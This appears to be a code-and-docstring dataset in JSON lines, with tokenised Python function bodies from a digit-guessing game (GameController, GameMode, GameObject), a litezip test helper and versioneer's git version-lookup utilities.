{"signature": "def _validate_game_object(self, op=\"<STR_LIT>\"):", "body": "if self._g is None:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if not isinstance(self._g, GameObject):<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\".format(op)<EOL>)<EOL><DEDENT>", "docstring": "A helper method to provide validation of the game object (_g). If the\ngame object does not exist or if (for any reason) the object is not a GameObject,\nthen an exception will be raised.\n\n:param op: A string describing the operation (e.g. guess, save, etc.) taking place\n:return: Nothing", "id": "f12727:c0:m11"}
{"signature": "def __init__(self, game_json=None, game_modes=None, mode=None):", "body": "<EOL>self._game_modes = None<EOL>self.load_modes(input_modes=game_modes)<EOL>self.game = None<EOL>self.load(game_json=game_json, mode=mode)<EOL>", "docstring": "Initialize a GameController object to allow the game to be played. The controller\ncreates a game object (see GameObject.py) and allows guesses to be made against\nthe 'hidden' object.\n\n:param game_json: <optional>, if provided is a JSON serialized representation\nof a game; if not provided a new game is instantiated.\n:param game_modes: <optional>, a list of GameMode objects representing game modes.\n:param mode: <optional>, the mode the game should be played in; may be a GameMode\nobject or a str representing the name of a GameMode object already defined (e.g.\npassed via game_modes).", "id": "f12730:c0:m0"}
{"signature": "def guess(self, *args):", "body": "if self.game is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>response_object = {<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:status>\": None<EOL>}<EOL>if self.game.status == self.GAME_WON:<EOL><INDENT>response_object[\"<STR_LIT:status>\"] =self._start_again_message(\"<STR_LIT>\")<EOL><DEDENT>elif self.game.status == self.GAME_LOST:<EOL><INDENT>response_object[\"<STR_LIT:status>\"] =self._start_again_message(\"<STR_LIT>\")<EOL><DEDENT>elif self.game.guesses_remaining < <NUM_LIT:1>:<EOL><INDENT>response_object[\"<STR_LIT:status>\"] =self._start_again_message(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>guess_made = DigitWord(*args, wordtype=self.game.mode.digit_type)<EOL>comparison = self.game.answer.compare(guess_made)<EOL>self.game.guesses_made += <NUM_LIT:1><EOL>response_object[\"<STR_LIT>\"] = <NUM_LIT:0><EOL>response_object[\"<STR_LIT>\"] = <NUM_LIT:0><EOL>response_object[\"<STR_LIT>\"] = []<EOL>for comparison_object in comparison:<EOL><INDENT>if comparison_object.match:<EOL><INDENT>response_object[\"<STR_LIT>\"] += <NUM_LIT:1><EOL><DEDENT>elif comparison_object.in_word:<EOL><INDENT>response_object[\"<STR_LIT>\"] += <NUM_LIT:1><EOL><DEDENT>response_object[\"<STR_LIT>\"].append(comparison_object.get_object())<EOL><DEDENT>if response_object[\"<STR_LIT>\"] == self.game.mode.digits:<EOL><INDENT>self.game.status = self.GAME_WON<EOL>self.game.guesses_made = self.game.mode.guesses_allowed<EOL>response_object[\"<STR_LIT:status>\"] = self._start_again_message(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>elif self.game.guesses_remaining < <NUM_LIT:1>:<EOL><INDENT>self.game.status = self.GAME_LOST<EOL>response_object[\"<STR_LIT:status>\"] = self._start_again_message(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>return response_object<EOL>", "docstring": "Make a guess, comparing the hidden object to a set of provided digits. The digits should\nbe passed as a set of arguments, e.g:\n\n* for a normal game: 0, 1, 2, 3\n* for a hex game: 0xA, 0xB, 5, 4\n* alternate for hex game: 'A', 'b', 5, 4\n\n:param args: An iterable of digits (int or str)\n:return: A dictionary object detailing the analysis and results of the guess", "id": "f12730:c0:m3"}
{"signature": "def load(self, game_json=None, mode=None):", "body": "if game_json is None:    <EOL><INDENT>if mode is not None:<EOL><INDENT>if isinstance(mode, str):<EOL><INDENT>_game_object = GameObject(mode=self._match_mode(mode=mode))<EOL><DEDENT>elif isinstance(mode, GameMode):<EOL><INDENT>_game_object = GameObject(mode=mode)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>_game_object = GameObject(mode=self._game_modes[<NUM_LIT:0>])<EOL><DEDENT>_game_object.status = self.GAME_PLAYING<EOL><DEDENT>else:<EOL><INDENT>if not isinstance(game_json, str):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>game_dict = json.loads(game_json)<EOL>if not '<STR_LIT>' in game_dict:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>_mode = GameMode(**game_dict[\"<STR_LIT>\"])<EOL>_game_object = GameObject(mode=_mode, source_game=game_dict)<EOL><DEDENT>self.game = copy.deepcopy(_game_object)<EOL>", "docstring": "Load a game from a serialized JSON representation. The game expects a well defined\nstructure as follows (Note JSON string format):\n\n'{\n    \"guesses_made\": int,\n    \"key\": \"str:a 4 word\",\n    \"status\": \"str: one of playing, won, lost\",\n    \"mode\": {\n        \"digits\": int,\n        \"digit_type\": DigitWord.DIGIT | DigitWord.HEXDIGIT,\n        \"mode\": GameMode(),\n        \"priority\": int,\n        \"help_text\": str,\n        \"instruction_text\": str,\n        \"guesses_allowed\": int\n    },\n    \"ttl\": int,\n    \"answer\": [int|str0, int|str1, ..., int|strN]\n}'\n\n* \"mode\" will be cast to a GameMode object\n* \"answer\" will be cast to a DigitWord object\n\n:param game_json: The source JSON - MUST be a string\n:param mode: A mode (str or GameMode) for the game being loaded\n:return: A game object", "id": "f12730:c0:m4"}
{"signature": "def save(self):", "body": "return json.dumps(self.game.dump())<EOL>", "docstring": "Save returns a string of the JSON serialized game object.\n\n:return: str of JSON serialized data", "id": "f12730:c0:m5"}
{"signature": "def load_modes(self, input_modes=None):", "body": "<EOL>_modes = [<EOL>GameMode(<EOL>mode=\"<STR_LIT>\", priority=<NUM_LIT:2>, digits=<NUM_LIT:4>, digit_type=DigitWord.DIGIT, guesses_allowed=<NUM_LIT:10><EOL>),<EOL>GameMode(<EOL>mode=\"<STR_LIT>\", priority=<NUM_LIT:1>, digits=<NUM_LIT:3>, digit_type=DigitWord.DIGIT, guesses_allowed=<NUM_LIT:6><EOL>),<EOL>GameMode(<EOL>mode=\"<STR_LIT>\", priority=<NUM_LIT:3>, digits=<NUM_LIT:6>, digit_type=DigitWord.DIGIT, guesses_allowed=<NUM_LIT:6><EOL>),<EOL>GameMode(<EOL>mode=\"<STR_LIT>\", priority=<NUM_LIT:4>, digits=<NUM_LIT:4>, digit_type=DigitWord.HEXDIGIT, guesses_allowed=<NUM_LIT:10><EOL>)<EOL>]<EOL>if input_modes is not None:<EOL><INDENT>if not isinstance(input_modes, list):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>for mode in input_modes:<EOL><INDENT>if not isinstance(mode, GameMode):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>_modes.append(mode)<EOL><DEDENT><DEDENT>self._game_modes = copy.deepcopy(_modes)<EOL>", "docstring": "Loads modes (GameMode objects) to be supported by the game object. Four default\nmodes are provided (normal, easy, hard, and hex) but others could be provided\neither by calling load_modes directly or passing a list of GameMode objects to\nthe instantiation call.\n\n:param input_modes: A list of GameMode objects; nb: even if only one new GameMode\nobject is provided, it MUST be passed as a list - for example, passing GameMode gm1\nwould require passing [gm1] NOT gm1.\n\n:return: A list of GameMode objects (both defaults and any added).", "id": "f12730:c0:m6"}
{"signature": "def _start_again_message(self, message=None):", "body": "logging.debug(\"<STR_LIT>\".format(message))<EOL>the_answer = '<STR_LIT:U+002CU+0020>'.join(<EOL>[str(d) for d in self.game.answer][:-<NUM_LIT:1>]<EOL>) + '<STR_LIT>' + [str(d) for d in self.game.answer][-<NUM_LIT:1>]<EOL>return \"<STR_LIT>\".format(<EOL>message,<EOL>\"<STR_LIT:.>\" if message[-<NUM_LIT:1>] not in [\"<STR_LIT:.>\", \"<STR_LIT:U+002C>\", \"<STR_LIT:;>\", \"<STR_LIT::>\", \"<STR_LIT:!>\"] else \"<STR_LIT>\",<EOL>the_answer<EOL>)<EOL>", "docstring": "Simple method to form a start again message and give the answer in readable form.", "id": "f12730:c0:m8"}
{"signature": "def __init__(<EOL>self,<EOL>mode=None,<EOL>priority=None,<EOL>digits=None,<EOL>digit_type=None,<EOL>guesses_allowed=None,<EOL>instruction_text=None,<EOL>help_text=None<EOL>):", "body": "<EOL>self._mode = None<EOL>self._priority = None<EOL>self._digits = None<EOL>self._digit_type = None<EOL>self._guesses_allowed = None<EOL>self._instruction_text = None<EOL>self._help_text = None<EOL>self.mode = mode<EOL>self.priority = priority<EOL>self.digits = digits<EOL>self.digit_type = digit_type<EOL>self.guesses_allowed = guesses_allowed<EOL>self.instruction_text = instruction_text<EOL>self.help_text = help_text<EOL>", "docstring": "Constructor to create a new mode.\n\n:param mode: <str> A text name for the mode.\n:param priority: <int> priority of modes (in terms of returning a list)\n:param digits: <int> number of digits used in this mode.\n:param digit_type: <int> type of digit, e.g. DigitWord.HEXDIGIT or DigitWord.DIGIT\n:param guesses_allowed: <int> Number of guesses permitted.\n:param instruction_text: <str> Instruction text (dependent upon caller to show)\n:param help_text: <str> Help text (dependent upon caller to show)", "id": "f12731:c0:m0"}
{"signature": "def __str__(self):", "body": "return str(self.dump())<EOL>", "docstring": "Override of __str__ method.\n:return: <str> representation of the GameMode", "id": "f12731:c0:m1"}
{"signature": "def __repr__(self):", "body": "return \"<STR_LIT>\".format(self._mode)<EOL>", "docstring": "Override of __repr__ method.\n:return: <str> representation of object showing mode name", "id": "f12731:c0:m2"}
{"signature": "@property<EOL><INDENT>def mode(self):<DEDENT>", "body": "return self._mode<EOL>", "docstring": "The name of the mode.\n:return: <str>", "id": "f12731:c0:m3"}
{"signature": "@property<EOL><INDENT>def priority(self):<DEDENT>", "body": "return self._priority<EOL>", "docstring": "The priority of the mode when collected in a list. For example: priority 10 is less than 20,\nso 10 will come before 20 in a list of GameMode objects.\n\nThis is useful because other modules might return a sorted list of GameMode objects to their\ncallers and priority provides a simple means to sort and sequence a collection of GameMode\nobjects.\n\n:return: <int>", "id": "f12731:c0:m5"}
{"signature": "@property<EOL><INDENT>def digits(self):<DEDENT>", "body": "return self._digits<EOL>", "docstring": "The number of digits used by the DigitWord used in this mode; e.g. a value of 3 would\nindicate there are three digits (e.g. 1, 2, and 3), while a value of 5 would indicate\nfive values (e.g. 0, 1, 2, 3, 4).\n\n:return: <int>", "id": "f12731:c0:m7"}
{"signature": "@property<EOL><INDENT>def digit_type(self):<DEDENT>", "body": "return self._digit_type<EOL>", "docstring": "The digit_type is a flag used to specify the type of digit to be used; for example, a\ndigit (DigitWord.DIGIT) enables a single digit between 0 and 9, while a hex digit\n(DigitWord.HEXDIGIT) enables a single digit between 0 and F.\n\n:return: <int>", "id": "f12731:c0:m9"}
{"signature": "@property<EOL><INDENT>def guesses_allowed(self):<DEDENT>", "body": "return self._guesses_allowed<EOL>", "docstring": "The number of guesses the mode is allowed; for example an easy mode might allow\n20 guesses while a hard mode only allowed 7.\n\n:return: <int>", "id": "f12731:c0:m11"}
{"signature": "@property<EOL><INDENT>def instruction_text(self):<DEDENT>", "body": "return self._instruction_text<EOL>", "docstring": "Instructions on how to use the mode (if present).\n:return: <str>", "id": "f12731:c0:m13"}
{"signature": "@property<EOL><INDENT>def help_text(self):<DEDENT>", "body": "return self._help_text<EOL>", "docstring": "Help text intended to guide the user on how to use and interact with the game\nmode.\n\n:return: <str>", "id": "f12731:c0:m15"}
{"signature": "def dump(self):", "body": "return {<EOL>\"<STR_LIT>\": self._mode,<EOL>\"<STR_LIT>\": self._priority,<EOL>\"<STR_LIT>\": self._digits,<EOL>\"<STR_LIT>\": self._digit_type,<EOL>\"<STR_LIT>\": self._guesses_allowed,<EOL>\"<STR_LIT>\": self._instruction_text,<EOL>\"<STR_LIT>\": self._help_text<EOL>}<EOL>", "docstring": "Dump (convert to a dict) the GameMode object\n:return: <dict>", "id": "f12731:c0:m17"}
{"signature": "def __init__(<EOL>self,<EOL>mode=None,<EOL>source_game=None<EOL>):", "body": "<EOL>if mode is None:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if not isinstance(mode, GameMode):<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>self._key = None                    <EOL>self._status = None                 <EOL>self._ttl = None                    <EOL>self._answer = None                 <EOL>self._mode = None                   <EOL>self._guesses_remaining = None      <EOL>self._guesses_made = None           <EOL>if source_game:<EOL><INDENT>self.load(source=source_game)<EOL><DEDENT>else:<EOL><INDENT>self.new(mode=mode)<EOL><DEDENT>", "docstring": "Initialize a game object to hold the state, properties, and control of the game.\n\n:param mode: <required> A GameMode object defining the game play mode.\n:param source_game: <optional> A JSON Serialized representation of the game.", "id": "f12733:c0:m0"}
{"signature": "def dump(self):", "body": "return {<EOL>\"<STR_LIT:key>\": self._key,<EOL>\"<STR_LIT:status>\": self._status,<EOL>\"<STR_LIT>\": self._ttl,<EOL>\"<STR_LIT>\": self._answer.word,<EOL>\"<STR_LIT>\": self._mode.dump(),<EOL>\"<STR_LIT>\": self._guesses_made<EOL>}<EOL>", "docstring": "Dump (return) a dict representation of the GameObject. This is a Python\ndict and is NOT serialized. NB: the answer (a DigitWord object) and the\nmode (a GameMode object) are converted to python objects of a list and\ndict respectively.\n\n:return: python <dict> of the GameObject as detailed above.", "id": "f12733:c0:m10"}
{"signature": "def load(self, source=None):", "body": "if not source:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(source, dict):<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(type(source)))<EOL><DEDENT>required_keys = (<EOL>\"<STR_LIT:key>\",<EOL>\"<STR_LIT:status>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\")<EOL>if not all(key in source for key in required_keys):<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(source))<EOL><DEDENT>_mode = GameMode(**source[\"<STR_LIT>\"])<EOL>self._key = source[\"<STR_LIT:key>\"]<EOL>self._status = source[\"<STR_LIT:status>\"]<EOL>self._ttl = source[\"<STR_LIT>\"]<EOL>self._answer = DigitWord(*source[\"<STR_LIT>\"], wordtype=_mode.digit_type)<EOL>self._mode = _mode<EOL>self._guesses_made = source[\"<STR_LIT>\"]<EOL>", "docstring": "Load the representation of a GameObject from a Python <dict> representing\nthe game object.\n\n:param source: a Python <dict> as detailed above.\n\n:return:", "id": "f12733:c0:m11"}
{"signature": "def new(self, mode):", "body": "dw = DigitWord(wordtype=mode.digit_type)<EOL>dw.random(mode.digits)<EOL>self._key = str(uuid.uuid4())<EOL>self._status = \"<STR_LIT>\"<EOL>self._ttl = <NUM_LIT><EOL>self._answer = dw<EOL>self._mode = mode<EOL>self._guesses_remaining = mode.guesses_allowed<EOL>self._guesses_made = <NUM_LIT:0><EOL>", "docstring": "Create a new instance of a game. Note, a mode MUST be provided and MUST be of\ntype GameMode.\n\n:param mode: <required>", "id": "f12733:c0:m12"}
{"signature": "def __init__(self, game):", "body": "super(GameController, self).__init__()<EOL>self._game_modes = [<EOL>GameMode(<EOL>mode=\"<STR_LIT>\", priority=<NUM_LIT:2>, digits=<NUM_LIT:4>, digit_type=DigitWord.DIGIT, guesses_allowed=<NUM_LIT:10><EOL>),<EOL>GameMode(<EOL>mode=\"<STR_LIT>\", priority=<NUM_LIT:1>, digits=<NUM_LIT:3>, digit_type=DigitWord.DIGIT, guesses_allowed=<NUM_LIT:6><EOL>),<EOL>GameMode(<EOL>mode=\"<STR_LIT>\", priority=<NUM_LIT:3>, digits=<NUM_LIT:6>, digit_type=DigitWord.DIGIT, guesses_allowed=<NUM_LIT:6><EOL>),<EOL>GameMode(<EOL>mode=\"<STR_LIT>\", priority=<NUM_LIT:4>, digits=<NUM_LIT:4>, digit_type=DigitWord.HEXDIGIT, guesses_allowed=<NUM_LIT:10><EOL>)<EOL>]<EOL>if game:<EOL><INDENT>self.load(game=game)<EOL><DEDENT>else:<EOL><INDENT>self._game = None<EOL>self._mode = None<EOL><DEDENT>", "docstring": "Initialize the Game.", "id": "f12734:c0:m0"}
{"signature": "def _start_again(self, message=None):", "body": "logging.debug(\"<STR_LIT>\".format(message))<EOL>the_answer = self._game.answer_str<EOL>return \"<STR_LIT>\".format(<EOL>message,<EOL>the_answer<EOL>)<EOL>", "docstring": "Simple method to form a start again message and give the answer in readable form.", "id": "f12734:c0:m18"}
{"signature": "def _validate(self, op=\"<STR_LIT>\"):", "body": "if self._game is None:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format(op) +<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>", "docstring": "A helper method to provide validation of the game object (_g). If the\ngame object does not exist or if (for any reason) the object is not a GameObject,\nthen an exception will be raised.\n\n:param op: A string describing the operation (e.g. guess, save, etc.) taking place\n:return: Nothing", "id": "f12734:c0:m20"}
{"signature": "def assert_equal(data_path, expected_path):", "body": "from litezip.main import parse_litezip<EOL>data_struct = parse_litezip(data_path)<EOL>expected = parse_litezip(expected_path)<EOL>def _keyed(s):<EOL><INDENT>return sorted({t[<NUM_LIT:0>]: t[<NUM_LIT:1>:] for t in s}.keys())<EOL><DEDENT>assert _keyed(data_struct) == _keyed(expected)<EOL>relative_expected = convert_to_relative_paths(expected,<EOL>expected_path)<EOL>relative_data_struct = convert_to_relative_paths(data_struct, data_path)<EOL>assert relative_data_struct == relative_expected<EOL>", "docstring": "Asserts the data at `data_path` is equal to that at `expected_path`.", "id": "f12741:m1"}
{"signature": "def convert_to_relative_paths(struct, base):", "body": "def _rel(p):<EOL><INDENT>return p.relative_to(base)<EOL><DEDENT>new_struct = []<EOL>for obj in struct:<EOL><INDENT>new_obj = type(obj)(obj.id, _rel(obj.file),<EOL>tuple([_rel(y.data) for y in obj.resources]))<EOL>new_struct.append(new_obj)<EOL><DEDENT>return tuple(new_struct)<EOL>", "docstring": "Makes the given litezip `struct`'s `Path` objects relative to `base`.", "id": "f12744:m0"}
{"signature": "def get_keywords():", "body": "<EOL>git_refnames = \"<STR_LIT>\"<EOL>git_full = \"<STR_LIT>\"<EOL>git_date = \"<STR_LIT>\"<EOL>keywords = {\"<STR_LIT>\": git_refnames, \"<STR_LIT>\": git_full, \"<STR_LIT:date>\": git_date}<EOL>return keywords<EOL>", "docstring": "Get the keywords needed to look up the version information.", "id": "f12746:m0"}
{"signature": "def get_config():", "body": "<EOL>cfg = VersioneerConfig()<EOL>cfg.VCS = \"<STR_LIT>\"<EOL>cfg.style = \"<STR_LIT>\"<EOL>cfg.tag_prefix = \"<STR_LIT:v>\"<EOL>cfg.parentdir_prefix = \"<STR_LIT>\"<EOL>cfg.versionfile_source = \"<STR_LIT>\"<EOL>cfg.verbose = False<EOL>return cfg<EOL>", "docstring": "Create, populate and return the VersioneerConfig() object.", "id": "f12746:m1"}
{"signature": "def register_vcs_handler(vcs, method):  ", "body": "def decorate(f):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if vcs not in HANDLERS:<EOL><INDENT>HANDLERS[vcs] = {}<EOL><DEDENT>HANDLERS[vcs][method] = f<EOL>return f<EOL><DEDENT>return decorate<EOL>", "docstring": "Decorator to mark a method as the handler for a particular VCS.", "id": "f12746:m2"}
{"signature": "def run_command(commands, args, cwd=None, verbose=False, hide_stderr=False,<EOL>env=None):", "body": "assert isinstance(commands, list)<EOL>p = None<EOL>for c in commands:<EOL><INDENT>try:<EOL><INDENT>dispcmd = str([c] + args)<EOL>p = subprocess.Popen([c] + args, cwd=cwd, env=env,<EOL>stdout=subprocess.PIPE,<EOL>stderr=(subprocess.PIPE if hide_stderr<EOL>else None))<EOL>break<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>e = sys.exc_info()[<NUM_LIT:1>]<EOL>if e.errno == errno.ENOENT:<EOL><INDENT>continue<EOL><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(e)<EOL><DEDENT>return None, None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % (commands,))<EOL><DEDENT>return None, None<EOL><DEDENT>stdout = p.communicate()[<NUM_LIT:0>].strip()<EOL>if sys.version_info[<NUM_LIT:0>] >= <NUM_LIT:3>:<EOL><INDENT>stdout = stdout.decode()<EOL><DEDENT>if p.returncode != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(\"<STR_LIT>\" % stdout)<EOL><DEDENT>return None, p.returncode<EOL><DEDENT>return stdout, p.returncode<EOL>", "docstring": "Call the given command(s).", "id": "f12746:m3"}
{"signature": "def versions_from_parentdir(parentdir_prefix, root, verbose):", "body": "rootdirs = []<EOL>for i in range(<NUM_LIT:3>):<EOL><INDENT>dirname = os.path.basename(root)<EOL>if dirname.startswith(parentdir_prefix):<EOL><INDENT>return {\"<STR_LIT:version>\": dirname[len(parentdir_prefix):],<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None, \"<STR_LIT:date>\": None}<EOL><DEDENT>else:<EOL><INDENT>rootdirs.append(root)<EOL>root = os.path.dirname(root)  <EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" %<EOL>(str(rootdirs), parentdir_prefix))<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL>", "docstring": "Try to determine the version from the parent directory name.\n\n    Source tarballs conventionally unpack into a directory that includes both\n    the project name and a version string. We will also support searching up\n    two directory levels for an appropriately named parent directory", "id": "f12746:m4"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_get_keywords(versionfile_abs):", "body": "<EOL>keywords = {}<EOL>try:<EOL><INDENT>f = open(versionfile_abs, \"<STR_LIT:r>\")<EOL>for line in f.readlines():<EOL><INDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT:date>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>f.close()<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>pass<EOL><DEDENT>return keywords<EOL>", "docstring": "Extract version information from the given file.", "id": "f12746:m5"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_versions_from_keywords(keywords, tag_prefix, verbose):", "body": "if not keywords:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>date = keywords.get(\"<STR_LIT:date>\")<EOL>if date is not None:<EOL><INDENT>date = date.strip().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:T>\", <NUM_LIT:1>).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\", <NUM_LIT:1>)<EOL><DEDENT>refnames = keywords[\"<STR_LIT>\"].strip()<EOL>if refnames.startswith(\"<STR_LIT>\"):<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>refs = set([r.strip() for r in refnames.strip(\"<STR_LIT>\").split(\"<STR_LIT:U+002C>\")])<EOL>TAG = \"<STR_LIT>\"<EOL>tags = set([r[len(TAG):] for r in refs if r.startswith(TAG)])<EOL>if not tags:<EOL><INDENT>tags = set([r for r in refs if re.search(r'<STR_LIT>', r)])<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(refs - tags))<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(sorted(tags)))<EOL><DEDENT>for ref in sorted(tags):<EOL><INDENT>if ref.startswith(tag_prefix):<EOL><INDENT>r = ref[len(tag_prefix):]<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % r)<EOL><DEDENT>return {\"<STR_LIT:version>\": r,<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None,<EOL>\"<STR_LIT:date>\": date}<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": \"<STR_LIT>\", \"<STR_LIT:date>\": None}<EOL>", "docstring": "Get version information from git keywords.", "id": "f12746:m6"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_pieces_from_vcs(tag_prefix, root, verbose, run_command=run_command):", "body": "GITS = [\"<STR_LIT>\"]<EOL>if sys.platform == \"<STR_LIT:win32>\":<EOL><INDENT>GITS = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL><DEDENT>out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root,<EOL>hide_stderr=True)<EOL>if rc != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % root)<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\" % tag_prefix],<EOL>cwd=root)<EOL>if describe_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out = describe_out.strip()<EOL>full_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root)<EOL>if full_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>full_out = full_out.strip()<EOL>pieces = {}<EOL>pieces[\"<STR_LIT>\"] = full_out<EOL>pieces[\"<STR_LIT>\"] = full_out[:<NUM_LIT:7>]  <EOL>pieces[\"<STR_LIT:error>\"] = None<EOL>git_describe = describe_out<EOL>dirty = git_describe.endswith(\"<STR_LIT>\")<EOL>pieces[\"<STR_LIT>\"] = dirty<EOL>if dirty:<EOL><INDENT>git_describe = git_describe[:git_describe.rindex(\"<STR_LIT>\")]<EOL><DEDENT>if \"<STR_LIT:->\" in git_describe:<EOL><INDENT>mo = re.search(r'<STR_LIT>', git_describe)<EOL>if not mo:<EOL><INDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% describe_out)<EOL>return pieces<EOL><DEDENT>full_tag = mo.group(<NUM_LIT:1>)<EOL>if not full_tag.startswith(tag_prefix):<EOL><INDENT>if verbose:<EOL><INDENT>fmt = \"<STR_LIT>\"<EOL>print(fmt % (full_tag, tag_prefix))<EOL><DEDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% (full_tag, tag_prefix))<EOL>return pieces<EOL><DEDENT>pieces[\"<STR_LIT>\"] = full_tag[len(tag_prefix):]<EOL>pieces[\"<STR_LIT>\"] = int(mo.group(<NUM_LIT:2>))<EOL>pieces[\"<STR_LIT>\"] = mo.group(<NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>pieces[\"<STR_LIT>\"] = None<EOL>count_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)<EOL>pieces[\"<STR_LIT>\"] = int(count_out)  <EOL><DEDENT>date = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)[<NUM_LIT:0>].strip()<EOL>pieces[\"<STR_LIT:date>\"] = date.strip().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:T>\", <NUM_LIT:1>).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\", <NUM_LIT:1>)<EOL>return pieces<EOL>", "docstring": "Get version from 'git describe' in the root of the source tree.\n\n    This only gets called if the git-archive 'subst' keywords were *not*\n    expanded, and _version.py hasn't already been rewritten with a short\n    version string, meaning we're inside a checked out source tree.", "id": "f12746:m7"}
{"signature": "def plus_or_dot(pieces):", "body": "if \"<STR_LIT:+>\" in pieces.get(\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>return \"<STR_LIT:.>\"<EOL><DEDENT>return \"<STR_LIT:+>\"<EOL>", "docstring": "Return a + if we don't already have one, else return a .", "id": "f12746:m8"}
